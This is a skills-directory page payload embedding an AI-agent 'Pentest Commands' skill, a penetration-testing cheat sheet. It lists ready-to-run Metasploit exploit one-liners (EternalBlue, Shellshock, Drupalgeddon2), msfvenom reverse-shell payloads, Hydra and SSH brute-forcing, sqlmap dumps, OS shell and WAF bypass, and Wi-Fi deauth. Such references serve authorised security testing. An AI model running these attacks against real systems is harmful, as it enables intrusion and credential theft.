[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6DXSWC987J0QXDC5XZ4HN7K":3,"skill-same:01M6DXSWC987J0QXDC5XZ4HN7K":73},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":51,"commitSha":52,"skillDirectory":53,"forksCount":14,"repositoryHtmlUrl":54,"repositoryHomepageUrl":6,"ownerHtmlUrl":55,"ownerBlogUrl":56,"ownerDescription":57,"updatedAt":58,"install":59,"resources":72},"01M6DXSWC987J0QXDC5XZ4HN7K","Pentest Commands",null,"This skill should be used when the user asks to \"run pentest commands\", \"scan with nmap\", \"use metasploit exploits\", \"crack passwords with hydra or john\", \"scan web vulnerabilities with nikto\", \"enumerate networks\", or needs essential penetration testing command references.","EthanSheehan\u002FGrid-Sentinel","EthanSheehan","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F174215275?v=4","01M6DX9589ENESB2AYW9YK4Y50","Ethan Sheehan","01M6DX95P06JXASASFQZRFQ1NM",0,"MIT","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fpentest-commands\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,5,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"commands","pentest","command","john","hydra","crack","essential","scan","references","use","testing","nikto","networks","Metasploit","Nmap","penetration testing","run","web","vulnerabilities","2026-11-10 10:12:30",false,"---\nname: Pentest Commands\ndescription: This skill should be used when the user asks to \"run pentest commands\", \"scan with nmap\", \"use metasploit exploits\", \"crack passwords with hydra or john\", \"scan web vulnerabilities with nikto\", \"enumerate networks\", or needs essential penetration testing command references.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Pentest Commands\n\n## Purpose\n\nProvide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.\n\n## Inputs\u002FPrerequisites\n\n- Kali Linux or penetration testing distribution\n- Target IP addresses with authorization\n- Wordlists for brute forcing\n- Network access to target systems\n- Basic understanding of tool syntax\n\n## Outputs\u002FDeliverables\n\n- Network enumeration results\n- Identified vulnerabilities\n- Exploitation payloads\n- Cracked credentials\n- Web vulnerability findings\n\n## Core Workflow\n\n### 1. Nmap Commands\n\n**Host Discovery:**\n\n```bash\n# Ping sweep\nnmap -sP 192.168.1.0\u002F24\n\n# List IPs without scanning\nnmap -sL 192.168.1.0\u002F24\n\n# Ping scan (host discovery)\nnmap -sn 192.168.1.0\u002F24\n```\n\n**Port Scanning:**\n\n```bash\n# TCP SYN scan (stealth)\nnmap -sS 192.168.1.1\n\n# Full TCP connect scan\nnmap -sT 192.168.1.1\n\n# UDP scan\nnmap -sU 192.168.1.1\n\n# All ports (1-65535)\nnmap -p- 192.168.1.1\n\n# Specific ports\nnmap -p 22,80,443 192.168.1.1\n```\n\n**Service Detection:**\n\n```bash\n# Service versions\nnmap -sV 192.168.1.1\n\n# OS detection\nnmap -O 192.168.1.1\n\n# Comprehensive scan\nnmap -A 192.168.1.1\n\n# Skip host discovery\nnmap -Pn 192.168.1.1\n```\n\n**NSE Scripts:**\n\n```bash\n# Vulnerability scan\nnmap --script vuln 192.168.1.1\n\n# SMB enumeration\nnmap --script smb-enum-shares -p 445 192.168.1.1\n\n# HTTP enumeration\nnmap --script http-enum -p 80 192.168.1.1\n\n# Check EternalBlue\nnmap --script smb-vuln-ms17-010 192.168.1.1\n\n# Check MS08-067\nnmap --script smb-vuln-ms08-067 192.168.1.1\n\n# SSH brute force\nnmap --script ssh-brute -p 22 192.168.1.1\n\n# FTP anonymous\nnmap --script ftp-anon 192.168.1.1\n\n# DNS brute force\nnmap --script dns-brute 192.168.1.1\n\n# HTTP methods\nnmap -p80 --script http-methods 192.168.1.1\n\n# HTTP headers\nnmap -p80 --script http-headers 192.168.1.1\n\n# SQL injection check\nnmap --script http-sql-injection -p 80 192.168.1.1\n```\n\n**Advanced Scans:**\n\n```bash\n# Xmas scan\nnmap -sX 192.168.1.1\n\n# ACK scan (firewall detection)\nnmap -sA 192.168.1.1\n\n# Window scan\nnmap -sW 192.168.1.1\n\n# Traceroute\nnmap --traceroute 192.168.1.1\n```\n\n### 2. Metasploit Commands\n\n**Basic Usage:**\n\n```bash\n# Launch Metasploit\nmsfconsole\n\n# Search for exploits\nsearch type:exploit name:smb\n\n# Use exploit\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# Show options\nshow options\n\n# Set target\nset RHOST 192.168.1.1\n\n# Set payload\nset PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp\n\n# Run exploit\nexploit\n```\n\n**Common Exploits:**\n\n```bash\n# EternalBlue\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue; set RHOST 192.168.1.1; exploit\"\n\n# MS08-067 (Conficker)\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms08_067_netapi; set RHOST 192.168.1.1; exploit\"\n\n# vsftpd backdoor\nmsfconsole -x \"use exploit\u002Funix\u002Fftp\u002Fvsftpd_234_backdoor; set RHOST 192.168.1.1; exploit\"\n\n# Shellshock\nmsfconsole -x \"use exploit\u002Flinux\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit\"\n\n# Drupalgeddon2\nmsfconsole -x \"use exploit\u002Funix\u002Fwebapp\u002Fdrupal_drupalgeddon2; set RHOST 192.168.1.1; exploit\"\n\n# PSExec\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fpsexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit\"\n```\n\n**Scanners:**\n\n```bash\n# TCP port scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB version scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB share enumeration\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_enumshares; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SSH brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# FTP brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fftp\u002Fftp_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# RDP scanning\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Frdp\u002Frdp_scanner; set RHOSTS 192.168.1.0\u002F24; run\"\n```\n\n**Handler Setup:**\n\n```bash\n# Multi-handler for reverse shells\nmsfconsole -x \"use exploit\u002Fmulti\u002Fhandler; set PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit\"\n```\n\n**Payload Generation (msfvenom):**\n\n```bash\n# Windows reverse shell\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe\n\n# Linux reverse shell\nmsfvenom -p linux\u002Fx64\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf\n\n# PHP reverse shell\nmsfvenom -p php\u002Freverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php\n\n# ASP reverse shell\nmsfvenom -p windows\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp\n\n# WAR file\nmsfvenom -p java\u002Fjsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war\n\n# Python payload\nmsfvenom -p cmd\u002Funix\u002Freverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py\n```\n\n### 3. Nikto Commands\n\n```bash\n# Basic scan\nnikto -h http:\u002F\u002F192.168.1.1\n\n# Comprehensive scan\nnikto -h http:\u002F\u002F192.168.1.1 -C all\n\n# Output to file\nnikto -h http:\u002F\u002F192.168.1.1 -output report.html\n\n# Plugin-based scans\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins robots\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins shellshock\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins heartbleed\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins ssl\n\n# Export to Metasploit\nnikto -h http:\u002F\u002F192.168.1.1 -Format msf+\n\n# Specific tuning\nnikto -h http:\u002F\u002F192.168.1.1 -Tuning 1  # Interesting files only\n```\n\n### 4. SQLMap Commands\n\n```bash\n# Basic injection test\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\"\n\n# Enumerate databases\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --dbs\n\n# Enumerate tables\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database --tables\n\n# Dump table\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database -T users --dump\n\n# OS shell\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --os-shell\n\n# POST request\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Flogin\" --data=\"user=admin&pass=test\"\n\n# Cookie injection\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage\" --cookie=\"id=1*\"\n\n# Bypass WAF\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --tamper=space2comment\n\n# Risk and level\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --risk=3 --level=5\n```\n\n### 5. Hydra Commands\n\n```bash\n# SSH brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002F192.168.1.1\n\n# FTP brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ftp:\u002F\u002F192.168.1.1\n\n# HTTP POST form\nhydra -l admin -P passwords.txt 192.168.1.1 http-post-form \"\u002Flogin:user=^USER^&pass=^PASS^:Invalid\"\n\n# HTTP Basic Auth\nhydra -l admin -P passwords.txt 192.168.1.1 http-get \u002Fadmin\u002F\n\n# SMB brute force\nhydra -l admin -P passwords.txt smb:\u002F\u002F192.168.1.1\n\n# RDP brute force\nhydra -l admin -P passwords.txt rdp:\u002F\u002F192.168.1.1\n\n# MySQL brute force\nhydra -l root -P passwords.txt mysql:\u002F\u002F192.168.1.1\n\n# Username list\nhydra -L users.txt -P passwords.txt ssh:\u002F\u002F192.168.1.1\n```\n\n### 6. John the Ripper Commands\n\n```bash\n# Crack password file\njohn hash.txt\n\n# Specify wordlist\njohn hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Show cracked passwords\njohn hash.txt --show\n\n# Specify format\njohn hash.txt --format=raw-md5\njohn hash.txt --format=nt\njohn hash.txt --format=sha512crypt\n\n# SSH key passphrase\nssh2john id_rsa > ssh_hash.txt\njohn ssh_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# ZIP password\nzip2john file.zip > zip_hash.txt\njohn zip_hash.txt\n```\n\n### 7. Aircrack-ng Commands\n\n```bash\n# Monitor mode\nairmon-ng start wlan0\n\n# Capture packets\nairodump-ng wlan0mon\n\n# Target specific network\nairodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon\n\n# Deauth attack\naireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon\n\n# Crack WPA handshake\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt capture-01.cap\n```\n\n### 8. Wireshark\u002FTshark Commands\n\n```bash\n# Capture traffic\ntshark -i eth0 -w capture.pcap\n\n# Read capture file\ntshark -r capture.pcap\n\n# Filter by protocol\ntshark -r capture.pcap -Y \"http\"\n\n# Filter by IP\ntshark -r capture.pcap -Y \"ip.addr == 192.168.1.1\"\n\n# Extract HTTP data\ntshark -r capture.pcap -Y \"http\" -T fields -e http.request.uri\n```\n\n## Quick Reference\n\n### Common Port Scans\n\n```bash\n# Quick scan\nnmap -F 192.168.1.1\n\n# Full comprehensive\nnmap -sV -sC -A -p- 192.168.1.1\n\n# Fast with version\nnmap -sV -T4 192.168.1.1\n```\n\n### Password Hash Types\n\n| Mode | Type |\n|------|------|\n| 0 | MD5 |\n| 100 | SHA1 |\n| 1000 | NTLM |\n| 1800 | sha512crypt |\n| 3200 | bcrypt |\n| 13100 | Kerberoast |\n\n## Constraints\n\n- Always have written authorization\n- Some scans are noisy and detectable\n- Brute forcing may lock accounts\n- Rate limiting affects tools\n\n## Examples\n\n### Example 1: Quick Vulnerability Scan\n\n```bash\nnmap -sV --script vuln 192.168.1.1\n```\n\n### Example 2: Web App Test\n\n```bash\nnikto -h http:\u002F\u002Ftarget && sqlmap -u \"http:\u002F\u002Ftarget\u002Fpage?id=1\" --dbs\n```\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Scan too slow | Increase timing (-T4, -T5) |\n| Ports filtered | Try different scan types |\n| Exploit fails | Check target version compatibility |\n| Passwords not cracking | Try larger wordlists, rules |\n","# Pentest Commands\n\n## Purpose\n\nProvide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.\n\n## Inputs\u002FPrerequisites\n\n- Kali Linux or penetration testing distribution\n- Target IP addresses with authorization\n- Wordlists for brute forcing\n- Network access to target systems\n- Basic understanding of tool syntax\n\n## Outputs\u002FDeliverables\n\n- Network enumeration results\n- Identified vulnerabilities\n- Exploitation payloads\n- Cracked credentials\n- Web vulnerability findings\n\n## Core Workflow\n\n### 1. Nmap Commands\n\n**Host Discovery:**\n\n```bash\n# Ping sweep\nnmap -sP 192.168.1.0\u002F24\n\n# List IPs without scanning\nnmap -sL 192.168.1.0\u002F24\n\n# Ping scan (host discovery)\nnmap -sn 192.168.1.0\u002F24\n```\n\n**Port Scanning:**\n\n```bash\n# TCP SYN scan (stealth)\nnmap -sS 192.168.1.1\n\n# Full TCP connect scan\nnmap -sT 192.168.1.1\n\n# UDP scan\nnmap -sU 192.168.1.1\n\n# All ports (1-65535)\nnmap -p- 192.168.1.1\n\n# Specific ports\nnmap -p 22,80,443 192.168.1.1\n```\n\n**Service Detection:**\n\n```bash\n# Service versions\nnmap -sV 192.168.1.1\n\n# OS detection\nnmap -O 192.168.1.1\n\n# Comprehensive scan\nnmap -A 192.168.1.1\n\n# Skip host discovery\nnmap -Pn 192.168.1.1\n```\n\n**NSE Scripts:**\n\n```bash\n# Vulnerability scan\nnmap --script vuln 192.168.1.1\n\n# SMB enumeration\nnmap --script smb-enum-shares -p 445 192.168.1.1\n\n# HTTP enumeration\nnmap --script http-enum -p 80 192.168.1.1\n\n# Check EternalBlue\nnmap --script smb-vuln-ms17-010 192.168.1.1\n\n# Check MS08-067\nnmap --script smb-vuln-ms08-067 192.168.1.1\n\n# SSH brute force\nnmap --script ssh-brute -p 22 192.168.1.1\n\n# FTP anonymous\nnmap --script ftp-anon 192.168.1.1\n\n# DNS brute force\nnmap --script dns-brute 192.168.1.1\n\n# HTTP methods\nnmap -p80 --script http-methods 192.168.1.1\n\n# HTTP headers\nnmap -p80 --script http-headers 192.168.1.1\n\n# SQL injection check\nnmap --script http-sql-injection -p 80 192.168.1.1\n```\n\n**Advanced Scans:**\n\n```bash\n# Xmas scan\nnmap -sX 192.168.1.1\n\n# ACK scan (firewall detection)\nnmap -sA 192.168.1.1\n\n# Window scan\nnmap -sW 192.168.1.1\n\n# Traceroute\nnmap --traceroute 192.168.1.1\n```\n\n### 2. Metasploit Commands\n\n**Basic Usage:**\n\n```bash\n# Launch Metasploit\nmsfconsole\n\n# Search for exploits\nsearch type:exploit name:smb\n\n# Use exploit\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# Show options\nshow options\n\n# Set target\nset RHOST 192.168.1.1\n\n# Set payload\nset PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp\n\n# Run exploit\nexploit\n```\n\n**Common Exploits:**\n\n```bash\n# EternalBlue\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue; set RHOST 192.168.1.1; exploit\"\n\n# MS08-067 (Conficker)\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms08_067_netapi; set RHOST 192.168.1.1; exploit\"\n\n# vsftpd backdoor\nmsfconsole -x \"use exploit\u002Funix\u002Fftp\u002Fvsftpd_234_backdoor; set RHOST 192.168.1.1; exploit\"\n\n# Shellshock\nmsfconsole -x \"use exploit\u002Flinux\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit\"\n\n# Drupalgeddon2\nmsfconsole -x \"use exploit\u002Funix\u002Fwebapp\u002Fdrupal_drupalgeddon2; set RHOST 192.168.1.1; exploit\"\n\n# PSExec\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fpsexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit\"\n```\n\n**Scanners:**\n\n```bash\n# TCP port scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB version scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB share enumeration\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_enumshares; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SSH brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# FTP brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fftp\u002Fftp_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# RDP scanning\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Frdp\u002Frdp_scanner; set RHOSTS 192.168.1.0\u002F24; run\"\n```\n\n**Handler Setup:**\n\n```bash\n# Multi-handler for reverse shells\nmsfconsole -x \"use exploit\u002Fmulti\u002Fhandler; set PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit\"\n```\n\n**Payload Generation (msfvenom):**\n\n```bash\n# Windows reverse shell\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe\n\n# Linux reverse shell\nmsfvenom -p linux\u002Fx64\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf\n\n# PHP reverse shell\nmsfvenom -p php\u002Freverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php\n\n# ASP reverse shell\nmsfvenom -p windows\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp\n\n# WAR file\nmsfvenom -p java\u002Fjsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war\n\n# Python payload\nmsfvenom -p cmd\u002Funix\u002Freverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py\n```\n\n### 3. Nikto Commands\n\n```bash\n# Basic scan\nnikto -h http:\u002F\u002F192.168.1.1\n\n# Comprehensive scan\nnikto -h http:\u002F\u002F192.168.1.1 -C all\n\n# Output to file\nnikto -h http:\u002F\u002F192.168.1.1 -output report.html\n\n# Plugin-based scans\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins robots\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins shellshock\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins heartbleed\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins ssl\n\n# Export to Metasploit\nnikto -h http:\u002F\u002F192.168.1.1 -Format msf+\n\n# Specific tuning\nnikto -h http:\u002F\u002F192.168.1.1 -Tuning 1  # Interesting files only\n```\n\n### 4. SQLMap Commands\n\n```bash\n# Basic injection test\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\"\n\n# Enumerate databases\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --dbs\n\n# Enumerate tables\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database --tables\n\n# Dump table\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database -T users --dump\n\n# OS shell\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --os-shell\n\n# POST request\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Flogin\" --data=\"user=admin&pass=test\"\n\n# Cookie injection\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage\" --cookie=\"id=1*\"\n\n# Bypass WAF\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --tamper=space2comment\n\n# Risk and level\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --risk=3 --level=5\n```\n\n### 5. Hydra Commands\n\n```bash\n# SSH brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002F192.168.1.1\n\n# FTP brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ftp:\u002F\u002F192.168.1.1\n\n# HTTP POST form\nhydra -l admin -P passwords.txt 192.168.1.1 http-post-form \"\u002Flogin:user=^USER^&pass=^PASS^:Invalid\"\n\n# HTTP Basic Auth\nhydra -l admin -P passwords.txt 192.168.1.1 http-get \u002Fadmin\u002F\n\n# SMB brute force\nhydra -l admin -P passwords.txt smb:\u002F\u002F192.168.1.1\n\n# RDP brute force\nhydra -l admin -P passwords.txt rdp:\u002F\u002F192.168.1.1\n\n# MySQL brute force\nhydra -l root -P passwords.txt mysql:\u002F\u002F192.168.1.1\n\n# Username list\nhydra -L users.txt -P passwords.txt ssh:\u002F\u002F192.168.1.1\n```\n\n### 6. John the Ripper Commands\n\n```bash\n# Crack password file\njohn hash.txt\n\n# Specify wordlist\njohn hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Show cracked passwords\njohn hash.txt --show\n\n# Specify format\njohn hash.txt --format=raw-md5\njohn hash.txt --format=nt\njohn hash.txt --format=sha512crypt\n\n# SSH key passphrase\nssh2john id_rsa > ssh_hash.txt\njohn ssh_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# ZIP password\nzip2john file.zip > zip_hash.txt\njohn zip_hash.txt\n```\n\n### 7. Aircrack-ng Commands\n\n```bash\n# Monitor mode\nairmon-ng start wlan0\n\n# Capture packets\nairodump-ng wlan0mon\n\n# Target specific network\nairodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon\n\n# Deauth attack\naireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon\n\n# Crack WPA handshake\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt capture-01.cap\n```\n\n### 8. Wireshark\u002FTshark Commands\n\n```bash\n# Capture traffic\ntshark -i eth0 -w capture.pcap\n\n# Read capture file\ntshark -r capture.pcap\n\n# Filter by protocol\ntshark -r capture.pcap -Y \"http\"\n\n# Filter by IP\ntshark -r capture.pcap -Y \"ip.addr == 192.168.1.1\"\n\n# Extract HTTP data\ntshark -r capture.pcap -Y \"http\" -T fields -e http.request.uri\n```\n\n## Quick Reference\n\n### Common Port Scans\n\n```bash\n# Quick scan\nnmap -F 192.168.1.1\n\n# Full comprehensive\nnmap -sV -sC -A -p- 192.168.1.1\n\n# Fast with version\nnmap -sV -T4 192.168.1.1\n```\n\n### Password Hash Types\n\n| Mode | Type |\n|------|------|\n| 0 | MD5 |\n| 100 | SHA1 |\n| 1000 | NTLM |\n| 1800 | sha512crypt |\n| 3200 | bcrypt |\n| 13100 | Kerberoast |\n\n## Constraints\n\n- Always have written authorization\n- Some scans are noisy and detectable\n- Brute forcing may lock accounts\n- Rate limiting affects tools\n\n## Examples\n\n### Example 1: Quick Vulnerability Scan\n\n```bash\nnmap -sV --script vuln 192.168.1.1\n```\n\n### Example 2: Web App Test\n\n```bash\nnikto -h http:\u002F\u002Ftarget && sqlmap -u \"http:\u002F\u002Ftarget\u002Fpage?id=1\" --dbs\n```\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Scan too slow | Increase timing (-T4, -T5) |\n| Ports filtered | Try different scan types |\n| Exploit fails | Check target version compatibility |\n| Passwords not cracking | Try larger wordlists, rules |\n",{"name":5,"metadata":48,"description":7},{"author":49,"version":50},"zebbern","1.1","main","33d99efaac9ea5758fc27120b467eca96ad020d9",".agent\u002Fskills\u002Fpentest-commands","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel","https:\u002F\u002Fgithub.com\u002FEthanSheehan","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fethan-sheehan\u002F","Aerospace Engineering Student at the University of Bristol \u002F\u002F Propulsion Lead at HyPower Bristol","2026-05-22 21:19:23",{"source":8,"skillName":5,"commands":60,"prompt":70,"zipAvailable":71},[61,64,67],{"tool":62,"command":63},"npx","npx skills add EthanSheehan\u002FGrid-Sentinel --skill \"Pentest Commands\"",{"tool":65,"command":66},"bunx","bunx skills add EthanSheehan\u002FGrid-Sentinel --skill \"Pentest Commands\"",{"tool":68,"command":69},"pnpm","pnpm dlx skills add EthanSheehan\u002FGrid-Sentinel --skill \"Pentest Commands\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fpentest-commands\u002FSKILL.md",true,[],[74,103,131,151,165,190],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":78,"categories":79,"keywords":83,"publishedAt":43},"01M6DY3X97YDSKHCCZG9KMASHA","zapier-make-patterns","No-code automation democratizes workflow building. Zapier and Make (formerly Integromat) let non-developers automate business processes without writing code. But no-code doesn't mean no-complexity - these platforms have their own patterns, pitfalls, and breaking points.  This skill covers when to use which platform, how to build reliable automations, and when to graduate to code-based solutions. Key insight: Zapier optimizes for simplicity and integrations (7000+ apps), Make optimizes for power","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fzapier-make-patterns\u002FSKILL.md",[80],{"categoryNo":81,"categoryName":82,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[84,85,86,87,88,89,90,91,92,93,94,95,33,96,97,98,99,100,101,102],"zapier make patterns","patterns","workflow","integrations","how to","apps","platform","but","build","complexity","power","simplicity","business","automate","how","apache","code","automation","writing",{"skillNo":104,"name":105,"nameZh":6,"description":106,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":107,"categories":108,"keywords":113,"publishedAt":43},"01M6DY3SVP128ZZPF2478H9JYZ","Cross-Site Scripting and HTML Injection Testing","This skill should be used when the user asks to \"test for XSS vulnerabilities\", \"perform cross-site scripting attacks\", \"identify HTML injection flaws\", \"exploit client-side injection vulnerabilities\", \"steal cookies via XSS\", or \"bypass content security policies\". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fxss-html-injection\u002FSKILL.md",[109,110],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":111,"categoryName":112,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[114,115,116,117,118,119,34,120,121,122,123,124,125,41,126,127,128,129,130,42],"html injection testing","Cross Site Scripting and HTML Injection 